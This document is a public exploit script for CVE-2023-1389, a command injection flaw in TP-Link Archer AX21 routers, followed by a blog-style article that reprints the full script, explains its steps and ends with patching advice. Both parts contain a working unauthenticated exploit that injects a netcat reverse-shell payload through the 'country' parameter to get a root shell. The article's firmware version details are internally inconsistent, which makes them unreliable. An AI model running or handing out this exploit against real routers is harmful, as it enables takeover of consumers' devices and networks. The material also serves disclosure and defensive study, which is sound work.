TP-Link Archer AX21 - Unauthenticated Command Injection
#!/usr/bin/python3
#
# Exploit Title: TP-Link Archer AX21 - Unauthenticated Command Injection
# Date: 07/25/2023
# Exploit Author: Voyag3r (https://github.com/Voyag3r-Security)
# Vendor Homepage: https://www.tp-link.com/us/
# Version: TP-Link Archer AX21 (AX1800) firmware versions before 1.1.4 Build 20230219 (https://www.tenable.com/cve/CVE-2023-1389)
# Tested On: Firmware Version 2.1.5 Build 20211231 rel.73898(5553); Hardware Version Archer AX21 v2.0
# CVE: CVE-2023-1389
#
# Disclaimer: This script is intended to be used for educational purposes only.
# Do not run this against any system that you do not have permission to test.
# The author will not be held responsible for any use or damage caused by this
# program.
#
# CVE-2023-1389 is an unauthenticated command injection vulnerability in the web
# management interface of the TP-Link Archer AX21 (AX1800), specifically, in the
# *country* parameter of the *write* callback for the *country* form at the
# "/cgi-bin/luci/;stok=/locale" endpoint. By modifying the country parameter it is
# possible to run commands as root. Execution requires sending the request twice;
# the first request sets the command in the *country* value, and the second request
# (which can be identical or not) executes it.
#
# This script is a short proof of concept to obtain a reverse shell. To read more
# about the development of this script, you can read the blog post here:
# https://medium.com/@voyag3r-security/exploring-cve-2023-1389-rce-in-tp-link-archer-ax21-d7a60f259e94
# Before running the script, start a nc listener on your preferred port -> run the script -> profit
import requests, urllib.parse, argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# Suppress warning for connecting to a router with a self-signed certificate
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# Take user input for the router IP, and attacker IP and port
parser = argparse.ArgumentParser()
parser.add_argument("-r", "--router", dest = "router", default = "192.168.0.1", help="Router name")
parser.add_argument("-a", "--attacker", dest = "attacker", default = "127.0.0.1", help="Attacker IP")
parser.add_argument("-p", "--port",dest = "port", default = "9999", help="Local port")
args = parser.parse_args()
# Generate the reverse shell command with the attacker IP and port
revshell = urllib.parse.quote("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + args.attacker + " " + args.port + " >/tmp/f")
# URL to obtain the reverse shell
url_command = "https://" + args.router + "/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(" + revshell + ")"
# Send the URL twice to run the command. Sending twice is necessary for the attack
r = requests.get(url_command, verify=False)
r = requests.get(url_command, verify=False) CVE-2023-1389: Unauthenticated Command Injection in TP-Link Archer AX21 – A Deep Dive into RCE Exploitation
On July 25, 2023, cybersecurity researcher Voyag3r disclosed a critical vulnerability in the TP-Link Archer AX21 (AX1800) router, identified as CVE-2023-1389. This flaw represents a severe unauthenticated remote code execution (RCE) vulnerability, allowing attackers to execute arbitrary commands as root without requiring login credentials. The exploit leverages a command injection flaw in the web management interface, specifically within the country parameter of the write operation on the /cgi-bin/luci/;stok=/locale endpoint.
Exploit Mechanism: How the Vulnerability Works
The TP-Link Archer AX21 uses a Lua-based web interface (LuCI) for configuration management. This interface is exposed via the /cgi-bin/luci endpoint, which handles form submissions through query parameters. The country form field is used to set regional settings, but due to improper input validation, it is susceptible to command injection.
When an attacker sends a request with a malicious country value wrapped in a shell command, the system parses the input and executes it as a shell command. The critical insight is that the command execution requires two requests—the first to set the payload, the second to trigger execution. This two-step process is a common pattern in web-based command injection vulnerabilities, where the first request stores the command in a temporary state, and the second request executes it.
For example, an attacker can inject a command like:
country=$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 9999 >/tmp/f)
Here, $(...) is a shell command substitution that executes the enclosed commands. The payload creates a named pipe (mkfifo), then uses cat to read from it, feeds the output to a shell (/bin/sh -i), and redirects both stdin and stdout to a netcat listener on the attacker’s machine.
Proof of Concept: Reverse Shell Exploitation
Below is a Python script demonstrating the exploitation of CVE-2023-1389 to establish a reverse shell. The script is designed for educational purposes and should only be used on systems with explicit permission.
#!/usr/bin/python3
import requests, urllib.parse, argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
parser = argparse.ArgumentParser()
parser.add_argument("-r", "--router", dest="router", default="192.168.0.1", help="Router IP")
parser.add_argument("-a", "--attacker", dest="attacker", default="127.0.0.1", help="Attacker IP")
parser.add_argument("-p", "--port", dest="port", default="9999", help="Listener port")
args = parser.parse_args()
revshell = urllib.parse.quote("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + args.attacker + " " + args.port + " >/tmp/f")
url_command = "https://" + args.router + "/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(" + revshell + ")"
r = requests.get(url_command, verify=False)
r = requests.get(url_command, verify=False)
Explanation:
- Line 1–2: Imports required libraries and disables SSL warnings for self-signed certificates commonly used in router web interfaces.
- Line 5–7: Parses user input for router IP, attacker IP, and listening port via
argparse. - Line 9–11: Constructs the reverse shell payload using
urllib.parse.quote()to URL-encode the command, ensuring special characters like;and|are properly escaped for HTTP transmission. - Line 13: Builds the malicious URL with the
countryparameter containing a shell command via$(...). - Line 15–16: Sends the request twice—this is essential for the exploit to work. The first request sets the command, the second triggers execution.
Why Two Requests Are Required
This two-step execution pattern is not arbitrary. It stems from how the LuCI framework handles form submissions:
- During the first request, the
countryvalue is stored in a temporary configuration buffer. - During the second request, the system attempts to write the stored value to the system configuration file, which triggers shell command execution due to lack of sanitization.
This behavior is characteristic of command injection with delayed execution, often seen in embedded systems where configuration data is processed at a later stage.
Impact and Risk Assessment
CVE-2023-1389 is rated as high severity due to:
- Unauthenticated access—no credentials required.
- Remote code execution—attacker can run commands as
root. - Widespread exposure—TP-Link Archer AX21 is a popular consumer router with millions of units deployed.
- Low complexity—exploit requires minimal technical skill and standard tools.
Attackers could use this vulnerability to:
- Install backdoors or persistent malware.
- Steal sensitive data (e.g., Wi-Fi passwords, user credentials).
- Launch lateral attacks on internal networks.
- Reconfigure the router to redirect traffic (e.g., DNS hijacking).
Vendor Response and Patching
TP-Link released firmware updates to address this vulnerability. The fix was included in firmware version 1.1.4 Build 20230219. Users with older firmware (e.g., 2.1.5 Build 20211231) are at risk.
Recommendations:
- Update to the latest firmware immediately.
- Disable remote management if not required.
- Use strong, unique passwords even if the exploit is unauthenticated.
- Monitor for suspicious network activity or unexpected command execution.
Best Practices for Developers and Security Teams
This vulnerability underscores critical lessons in secure development:
- Input validation is essential—never trust user input, especially in web interfaces.
- Command injection prevention—avoid using shell command substitution (
$(...)) without strict sanitization. - Use safe APIs—prefer system calls or libraries over direct shell execution.
- Implement rate limiting—to prevent abuse of repeated requests.
- Enable logging—track configuration changes and command execution attempts.
Conclusion
CVE-2023-1389 is a prime example of how even consumer-grade devices can harbor critical security flaws. It demonstrates the importance of continuous security patching, responsible disclosure, and proactive vulnerability management. As the number of IoT devices grows, vulnerabilities like this will remain a significant threat to network security.
For researchers and defenders, this exploit serves as a powerful reminder: no device is too small to be a target. Always treat embedded systems with the same rigor as traditional servers and applications.